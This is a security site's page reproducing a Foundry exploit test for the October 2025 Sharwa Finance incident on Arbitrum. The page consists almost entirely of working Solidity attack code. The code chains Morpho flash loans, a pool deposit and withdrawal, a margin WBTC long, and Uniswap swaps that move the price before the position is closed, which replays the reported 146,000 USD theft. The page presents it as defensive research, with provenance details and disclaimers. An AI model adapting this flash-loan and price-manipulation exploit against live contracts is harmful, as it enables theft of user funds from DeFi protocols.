Skip to content
THREATWIRE

Public reproduction file

src/test/2025-10/SharwaFinance_exp.sol

Public reproduction file for dataset entry SharwaFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-10/SharwaFinance_exp.sol258 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 146,000 USD
8// Attacker : https://arbiscan.io/address/0xd356c82e0c85e1568641d084dbdaf76b8df96c08
9// Attack Contract : https://arbiscan.io/address/0xd9ff21caeeea4329133c98a892db16b42f9baa25
10// Vulnerable Contract : https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797
11// Attack Tx :
12// https://app.blocksec.com/explorer/tx/arbitrum/0xd64729c528e6689cb18b0c90345ab0c9ed18fea44247c89af2f1374643fc89c2?line=-1
13// https://app.blocksec.com/explorer/tx/arbitrum/0x9f8b4841f805ec50cc6632068f759216d85633fbbe34afde86b97bbc41c23ead
15// @Info
16// Vulnerable Contract Code : https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797#code
18// @Analysis
19// https://x.com/phalcon_xyz/status/1980219745480946087?s=46
20// https://blog.verichains.io/p/vulnerability-analysis-deconstructing?utm_source=chatgpt.com
22interface IMarginAccountManager {
23 function createMarginAccount() external returns (uint256 tokenId);
26interface IMorpho {
27 function flashLoan(
28 address token,
29 uint256 assets,
30 bytes calldata data
31 ) external;
34interface IMorphoFlashLoanReceiver {
35 function onMorphoFlashLoan(
36 uint256 assets,
37 bytes calldata data
38 ) external;
41interface IERC721Receiver {
42 function onERC721Received(
43 address operator,
44 address from,
45 uint256 tokenId,
46 bytes calldata data
47 ) external returns (bytes4);
50interface ISupplyTokenPool {
51 function provide(uint256 amount) external;
52 function withdraw(uint256 amount) external;
53 function balanceOf(address user) external view returns (uint256);
56interface IMarginTradingRouter {
57 function provideERC20(uint256 id, address token, uint256 amount) external;
60interface TradeRouter {
61 function increaseLongPosition(uint256 id, address token, uint256 amount) external;
62 function decreaseLongPosition(uint256 id, address token, uint256 amount) external;
65interface IUniV3Router {
66 struct ExactInputSingleParams {
67 address tokenIn;
68 address tokenOut;
69 uint24 fee;
70 address recipient;
71 uint256 deadline;
72 uint256 amountIn;
73 uint256 amountOutMinimum;
74 uint160 sqrtPriceLimitX96;
75 }
77 function exactInputSingle(
78 ExactInputSingleParams calldata params
79 ) external returns (uint256 amountOut);
82contract ContractTest is Test {
83 address constant USDC = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
84 address constant WBTC = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;
85 address constant MORPHO = 0x6c247b1F6182318877311737BaC0844bAa518F5e;
86 address constant MARGIN_ACCOUNT_MANAGER = 0x7E859C254F431e566DaaB65f49b2449Aa826E395;
87 address constant SF_LP_USDC = 0x02434cD23972C82FbAbf610D157b41bFB45A45a3;
88 address constant MARGIN_TRADING_ROUTER = 0x35CB6a3b4963DaE3CB7465c954DDFBE0cd13eb2b;
89 address constant TRADE_ROUTER = 0xd3fdE5AF30DA1F394d6e0D361B552648D0dff797;
90 address constant V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
92 uint256 constant BLOCK_TX1 = 391402008;
93 uint256 constant BLOCK_TX2 = 391402389;
95 address attacker = address(this);
96 AttackContract attackcontract;
98 function setUp() public {
99 vm.createSelectFork("arbitrum", BLOCK_TX1 - 1);
100 vm.label(attacker, "Sharwa Finance Exploiter");
101 vm.label(address(attackcontract), "Receiver");
102 vm.label(USDC, "USDC");
103 vm.label(WBTC, "WBTC");
104 vm.label(MORPHO, "Morpho");
105 vm.label(MARGIN_ACCOUNT_MANAGER, "MarginAccountManager");
106 vm.label(TRADE_ROUTER, "TradeRouter");
107 vm.label(SF_LP_USDC, "SF-LP-USDC");
108 vm.label(MARGIN_TRADING_ROUTER, "MarginTradingRouter");
109 vm.label(V3_ROUTER, "Uniswap V3: Router");
111 attackcontract = new AttackContract(
112 MORPHO,
113 USDC,
114 WBTC,
115 MARGIN_ACCOUNT_MANAGER,
116 SF_LP_USDC,
117 MARGIN_TRADING_ROUTER,
118 TRADE_ROUTER,
119 V3_ROUTER,
120 attacker
121 );
122 deal(USDC, attacker, 2_201_000_000); // fund attacker with initial USDC
123 IERC20(USDC).approve(address(attackcontract), 2_201_000_000);
124 }
126 function test_exploit_sequence() public {
127 emit log_named_uint("WBTC balance before exploit:", IERC20(WBTC).balanceOf(address(attackcontract)));
128 attackcontract.attackTx1();
129 vm.roll(BLOCK_TX2 - 1);
130 attackcontract.attackTx2();
132 emit log_named_uint("WBTC balance after exploit:", IERC20(WBTC).balanceOf(address(attackcontract)));
133 }
136contract AttackContract is IMorphoFlashLoanReceiver, IERC721Receiver {
137 uint256 constant ATTACKER_FUND = 2_201_000_000;
138 uint256 constant FLASHLOAN_USDC = 4_000_000_0000;
139 uint256 constant FLASHLOAN_WBTC = 3_700_000_000;
141 IMorpho public morpho;
142 IERC20 public USDC;
143 IERC20 public WBTC;
144 IMarginAccountManager public margin;
145 ISupplyTokenPool public pool;
146 IMarginTradingRouter public marginTradeRouter;
147 TradeRouter public tradeRouter;
148 IUniV3Router public v3Router;
150 uint256 public marginAccountID;
151 address public attackerEOA;
153 constructor(
154 address _morpho,
155 address _usdc,
156 address _wbtc,
157 address _margin,
158 address _pool,
159 address _marginTradeRouter,
160 address _tradeRouter,
161 address _v3Router,
162 address _attackerEOA
163 ) {
164 morpho = IMorpho(_morpho);
165 USDC = IERC20(_usdc);
166 WBTC = IERC20(_wbtc);
167 margin = IMarginAccountManager(_margin);
168 pool = ISupplyTokenPool(_pool);
169 marginTradeRouter = IMarginTradingRouter(_marginTradeRouter);
170 tradeRouter = TradeRouter(_tradeRouter);
171 v3Router = IUniV3Router(_v3Router);
172 attackerEOA = _attackerEOA;
173 }
175 function attackTx1() external {
176 USDC.transferFrom(attackerEOA, address(this), ATTACKER_FUND);
177 bytes memory data = abi.encode(uint8(1));
178 morpho.flashLoan(address(USDC), FLASHLOAN_USDC, data);
179 }
181 function attackTx2() external {
182 bytes memory data = abi.encode(uint8(2));
183 morpho.flashLoan(address(WBTC), FLASHLOAN_WBTC, data);
184 }
186 function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {
187 require(msg.sender == address(morpho), "only Morpho");
189 uint8 tag = abi.decode(data, (uint8));
190 if (tag == 1) {
191 _handleTx1(assets);
192 } else if (tag == 2) {
193 _handleTx2(assets);
194 } else {
195 revert("bad tag");
196 }
197 }
199 function _handleTx1(uint256 assets) internal {
200 marginAccountID = margin.createMarginAccount();
202 USDC.approve(address(pool), FLASHLOAN_USDC);
203 pool.provide(FLASHLOAN_USDC);
205 USDC.approve(address(marginTradeRouter), 2_200_000_000);
206 marginTradeRouter.provideERC20(marginAccountID, address(USDC), 2_200_000_000); // 2.2M
208 tradeRouter.increaseLongPosition(marginAccountID, address(WBTC), 36_200_000);
210 pool.withdraw(pool.balanceOf(address(this)));
212 USDC.approve(address(morpho), type(uint256).max);
213 }
215 function _handleTx2(uint256 assets) internal {
216 WBTC.approve(address(v3Router), FLASHLOAN_WBTC);
217 USDC.approve(address(v3Router), type(uint256).max);
219 v3Router.exactInputSingle(
220 IUniV3Router.ExactInputSingleParams({
221 tokenIn: address(WBTC),
222 tokenOut: address(USDC),
223 fee: 500,
224 recipient: address(this),
225 deadline: block.timestamp + 100,
226 amountIn: FLASHLOAN_WBTC,
227 amountOutMinimum: 0,
228 sqrtPriceLimitX96: 0
229 })
230 );
232 tradeRouter.decreaseLongPosition(marginAccountID, address(WBTC), 36_199_999);
234 v3Router.exactInputSingle(
235 IUniV3Router.ExactInputSingleParams({
236 tokenIn: address(USDC),
237 tokenOut: address(WBTC),
238 fee: 500,
239 recipient: address(this),
240 deadline: block.timestamp + 100,
241 amountIn: USDC.balanceOf(address(this)),
242 amountOutMinimum: 0,
243 sqrtPriceLimitX96: 0
244 })
245 );
247 WBTC.approve(address(morpho), type(uint256).max);
248 }
250 function onERC721Received(
251 address operator,
252 address from,
253 uint256 tokenId,
254 bytes calldata data
255 ) external override returns (bytes4) {
256 return IERC721Receiver.onERC721Received.selector;
257 }

Analysis

Dataset entry

Public Foundry test for “SharwaFinance” (2025-10-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

3 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd356c82e0c85e1568641d084dbdaf76b8df96c08

  • Attack Contract

    0xd9ff21caeeea4329133c98a892db16b42f9baa25

  • Vulnerable Contract

    0xd3fde5af30da1f394d6e0d361b552648d0dff797

File record

Name
SharwaFinance
Path
src/test/2025-10/SharwaFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2613911a8e66a0cc5641ce5226e8934730ed5693
Language
Solidity
Size
259 lines
Date
2025-10-20
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-10/SharwaFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2613911a8e66a0cc5641ce5226e8934730ed5693, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.